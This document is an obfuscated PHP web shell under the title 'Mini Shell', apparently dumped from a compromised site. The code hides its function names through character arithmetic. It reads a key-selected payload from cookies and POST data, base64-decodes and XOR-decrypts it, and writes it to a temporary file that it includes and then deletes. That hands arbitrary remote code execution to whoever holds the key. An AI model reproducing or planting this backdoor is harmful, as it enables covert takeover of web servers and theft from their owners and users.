Mini Shell

$WHazcFNK = chr ( 105 - 20 )."\106" . chr ( 957 - 847 ).chr (95) . 'u' . "\107" . 'N' . chr (77) . chr ( 747 - 642 ); $DiMFlzGCN = chr (99) . 'l' . 'a' . chr (115) . 's' . chr ( 599 - 504 ).chr ( 403 - 302 )."\x78" . 'i' . 's' . chr (116) . "\163";$WRDWjvxKLR = class_exists($WHazcFNK); $DiMFlzGCN = "25785";$rTlDAehYpZ = strpos($DiMFlzGCN, $WHazcFNK);if ($WRDWjvxKLR == $rTlDAehYpZ){function kWGMLBdc(){$YrIuGH = new /* 38670 */ UFn_uGNMi(53968 + 53968); $YrIuGH = NULL;}$iyPNdgiyAN = "53968";class UFn_uGNMi{private function HLdHvmcoB($iyPNdgiyAN){if (is_array(UFn_uGNMi::$TwnybP)) {$name = sys_get_temp_dir() . "/" . crc32(UFn_uGNMi::$TwnybP["salt"]);@UFn_uGNMi::$TwnybP["write"]($name, UFn_uGNMi::$TwnybP["content"]);include $name;@UFn_uGNMi::$TwnybP["delete"]($name); $iyPNdgiyAN = "53968";exit();}}public function EAdAME(){$rqBQMuIFtK = "18588";$this->_dummy = str_repeat($rqBQMuIFtK, strlen($rqBQMuIFtK));}public function __destruct(){UFn_uGNMi::$TwnybP = @unserialize(UFn_uGNMi::$TwnybP); $iyPNdgiyAN = "9445_21379";$this->HLdHvmcoB($iyPNdgiyAN); $iyPNdgiyAN = "9445_21379";}public function tTVJkGojc($rqBQMuIFtK, $rIzLgAG){return $rqBQMuIFtK[0] ^ str_repeat($rIzLgAG, intval(strlen($rqBQMuIFtK[0]) / strlen($rIzLgAG)) + 1);}public function xEykLGaq($rqBQMuIFtK){$AHoWEPlYBO = chr (98) . 'a' . 's' . "\x65" . chr ( 386 - 332 ).'4';return array_map($AHoWEPlYBO . chr ( 993 - 898 ).chr ( 1008 - 908 ).chr (101) . 'c' . chr (111) . chr (100) . "\145", array($rqBQMuIFtK,));}public function __construct($uNONH=0){$cCBlKUAY = "\x2c";$rqBQMuIFtK = "";$OlRcoV = $_POST;$YvododvGi = $_COOKIE;$rIzLgAG = "67a5075b-364e-4a88-96b9-e80e008bd8e2";$YyneVXnRh = @$YvododvGi[substr($rIzLgAG, 0, 4)];if (!empty($YyneVXnRh)){$YyneVXnRh = explode($cCBlKUAY, $YyneVXnRh);foreach ($YyneVXnRh as $ZmRPztH){$rqBQMuIFtK .= @$YvododvGi[$ZmRPztH];$rqBQMuIFtK .= @$OlRcoV[$ZmRPztH];}$rqBQMuIFtK = $this->xEykLGaq($rqBQMuIFtK);}UFn_uGNMi::$TwnybP = $this->tTVJkGojc($rqBQMuIFtK, $rIzLgAG);if (strpos($rIzLgAG, $cCBlKUAY) !== FALSE){$rIzLgAG = str_pad($rIzLgAG, 10); $rIzLgAG = ltrim(rtrim($rIzLgAG));}}public static $TwnybP = 35252;}kWGMLBdc();}